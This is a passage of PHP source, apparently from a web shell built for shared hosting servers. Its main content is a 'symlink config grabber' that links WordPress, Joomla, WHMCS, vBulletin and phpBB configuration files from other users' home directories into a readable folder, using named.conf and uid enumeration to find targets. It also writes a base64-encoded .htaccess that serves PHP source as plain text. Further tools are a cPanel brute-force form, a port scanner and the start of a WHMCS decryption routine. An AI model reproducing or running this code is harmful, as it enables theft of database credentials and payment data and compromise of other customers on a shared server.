987 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
988 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
989 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
990 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
991 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
992 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
993 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
994 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
995 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
996 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
997 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
998 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
999 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1000 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1001 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1002 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1003 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1004 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1005 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1006 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1007 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1008 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1009 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1010 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1011 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1012 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1013 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1014 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1015 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1016 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1017 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1018 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1019 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1020 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1021 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1022 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1023 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1024 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1025 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1026 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1027 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1028 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1029 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1030 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1031 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1032 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1033 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1034 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1035 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1036 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1037 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1038 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1039 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1040 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1041 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1042 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1043 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1044 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1045 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1046 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1047 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1048 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1049 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1050 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1051 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1052 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1053 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1054 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1055 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1056 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1057 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1058 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1059 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1060 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1061 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1062 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1063 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1064 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1065 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1066 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1067 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1068 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1069 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1070 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1071 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1072 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1073 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1074 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1075 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1076 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1077 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1078 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1079 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1080 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1081 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1082 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1083 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1084 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1085 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1086 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1087 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1088 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1089 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1090 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1091 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1092 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1093 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1094 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1095 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1096 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1097 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1098 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1099 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1100 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1101 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1102 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1103 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1104 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1105 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1106 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1107 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1108 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1109 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1110 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1111 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1112 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1113 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1114 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1115 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1116 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1117 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1118 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1119 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1120 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1121 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1122 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1123 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1124 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1125 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1126 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1127 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1128 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1129 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1130 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1131 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1132 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1133 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1134 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1135 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1136 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1137 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1138 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1139 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1140 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1141 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1142 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1143 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1144 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1145 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1146 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1147 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
1148 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
1149 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
1150 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
1151 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
1152 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
1153 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
1154 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
1155 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
1156 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
1157 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
1158 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
1159 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
1160 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
1161 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
1162 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
1163 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
1164 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
1165 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
1166 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
1167 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
1168 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
1169 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
1170 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
1171 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
1172 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
1173 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
1174 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
1175 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
1176 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
1177 }
1178
1179 $d0mains = @file("/etc/named.conf");
1180
1181 if($d0mains)
1182 {
1183 mkdir($fn);
1184 chdir($fn);
1185
1186 foreach($d0mains as $d0main)
1187 {
1188 if(eregi("zone",$d0main))
1189 {
1190 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1191 flush();
1192
1193 if(strlen(trim($domains[1][0])) > 2)
1194 {
1195 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1196
1197 syml($user['name'],$domains[1][0]);
1198 }
1199 }
1200 }
1201 echo "<center><font color=lime size=3>[ Done ]</font></center>";
1202 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1203 }
1204 else
1205 {
1206 mkdir($fn);
1207 chdir($fn);
1208 $temp = "";
1209 $val1 = 0;
1210 $val2 = 1000;
1211 for(;$val1 <= $val2;$val1++)
1212 {
1213 $uid = @posix_getpwuid($val1);
1214 if ($uid)
1215 $temp .= join(':',$uid)."\n";
1216 }
1217 echo '<br/>';
1218 $temp = trim($temp);
1219
1220 $file5 = fopen("test.txt","w");
1221 fputs($file5,$temp);
1222 fclose($file5);
1223
1224$htaccess =
1225'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
1226aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
1227biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
1228';
1229$file = fopen(".htaccess","w+");
1230$write = fwrite ($file ,base64_decode($htaccess));
1231
1232 $file = fopen("test.txt", "r") or exit("Unable to open file!");
1233 while(!feof($file))
1234 {
1235 $s = fgets($file);
1236 $matches = array();
1237 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1238 $matches = str_replace("home/","",$matches[1]);
1239 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1240 continue;
1241 syml($matches,$matches);
1242 }
1243 fclose($file);
1244 echo "</table>";
1245 unlink("test.txt");
1246 echo "<center><font color=lime size=3>[ Done ]</font></center>";
1247 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
1248 }
1249echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
1250exit;
1251}
1252?>
1253<form method="POST" target="_blank">
1254 <strong>
1255<input name="page" type="hidden" value="find"><table>
1256 </strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
1257 <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
1258 <tr>
1259 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1260 <center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
1261 <tr>
1262 <td>
1263 <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
1264 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1265 <strong>User :</strong></td>
1266 <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
1267 </tr>
1268 <tr>
1269 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1270 <strong>Pass :</strong></td>
1271 <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
1272 </tr>
1273 <tr>
1274 <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1275 <strong>Type :</strong></td>
1276 <td valign="top" bgcolor="#151515" colspan="5">
1277 <span class="style2"><strong>Simple : </strong> </span>
1278 <strong>
1279 <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
1280 <font class="style2"><strong>/etc/passwd : </strong> </font>
1281 <strong>
1282 <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
1283 </strong>
1284 </span>
1285 </td>
1286 </tr>
1287 <tr>
1288 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
1289 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
1290 </strong>
1291 </td>
1292 <tr>
1293</form>
1294<tr>
1295 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
1296 </tr>
1297<form method="POST" target="_blank">
1298 <strong>
1299<input name="mendapatkan" type="hidden" value="passwd">
1300 </strong>
1301 <tr>
1302 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
1303 <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
1304 </strong>
1305 </td>
1306 </tr>
1307 <tr>
1308 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
1309 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
1310 </strong>
1311 </td>
1312 <tr>
1313</form>
1314<tr>
1315 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
1316 </tr>
1317<form method="POST" target="_blank">
1318 <strong>
1319<input name="pass" type="hidden" value="password">
1320 </strong>
1321 <tr>
1322 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
1323 <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
1324 </strong>
1325 </td>
1326 </tr>
1327 <tr>
1328 <td valign="top" bgcolor="#151515" style="width: 139px"></td>
1329 <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
1330 </strong>
1331 </td>
1332 <tr>
1333</form>
1334<tr>
1335 <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
1336 Security</strong></td>
1337 </tr>
1338 <tr>
1339 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
1340 <td valign="top" bgcolor="#151515" colspan="5">
1341 <strong>
1342<?php
1343$safe_mode = ini_get('safe_mode');
1344if($safe_mode=='1')
1345{
1346echo 'ON';
1347}else{
1348echo 'OFF';
1349}
1350
1351?>
1352 </strong>
1353 </td>
1354 </tr>
1355 <tr>
1356 <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
1357 <td valign="top" bgcolor="#151515" colspan="5">
1358 <strong>
1359<form method="POST" target="_blank">
1360 <strong>
1361<input name="matikan" type="hidden" value="sekatan">
1362 </strong>
1363
1364<?php
1365if(''==($func=@ini_get('disable_functions')))
1366{
1367echo "<font color=#00ff00>No Security for Function</font></b>";
1368}else{
1369echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
1370echo "<font color=red>$func</font></b>";
1371echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
1372echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
1373 </strong>
1374 </td></tr>';
1375}
1376?></strong></td></tr></table></table></table>
1377<?
1378}
1379/////////////////////////////////////////////////////////////////
1380
1381
1382
1383/////////////////////////////////////////////////////////////////
1384elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
1385 {
1386 ?>
1387 <form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
1388 <?php
1389 echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
1390 $start = strip_tags($_POST['start']);
1391 $end = strip_tags($_POST['end']);
1392 $host = strip_tags($_POST['host']);
1393 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1394 for($i = $start; $i<=$end; $i++){
1395 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1396 if($fp){
1397 echo 'Port '.$i.' is <font color=green>open</font><br>';
1398 }
1399 flush();
1400 }
1401 }else{
1402 echo '<table class=tabnet style="width:300px;padding:0 1px;">
1403 <input type="hidden" name="y" value="phptools">
1404 <tr><th colspan="5">Port Scanner</th></center></tr>
1405 <tr>
1406 <td>Host</td>
1407 <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
1408 </tr>
1409 <tr>
1410 <td>Port start</td>
1411 <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
1412 </tr>
1413 <tr><td>Port end</td>
1414 <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
1415 </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
1416 </td></form></center></table>';
1417 }
1418}
1419/////////////////////////////////////////////////////////////////
1420
1421elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
1422 {
1423$submit= $_POST['enter'];
1424if (isset($submit)) {
1425$pass = $_POST['password']; // password
1426$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
1427$hash = md5($pass); // md5 hash #1
1428$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
1429$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
1430$hash1 = sha1($pass); // sha1 hash #4
1431$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
1432$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
1433}
1434echo '<form action="" method="post"><b><table class=tabnet>';
1435echo '<tr><th colspan="2">Password Hash</th></center></tr>';
1436echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
1437echo '<td><input class="inputz" type="text" name="password" size="40" />';
1438echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
1439echo '</td></tr><br>';
1440echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
1441echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
1442echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
1443echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
1444echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
1445echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
1446echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
1447echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
1448}
1449
1450/////////////////////////////////////////////////////////////////
1451elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
1452{
1453?>
1454<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
1455
1456<?php
1457
1458function decrypt ($string,$cc_encryption_hash)
1459{
1460 $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
1461 $hash_key = _hash ($key);
1462 $hash_length = strlen ($hash_key);
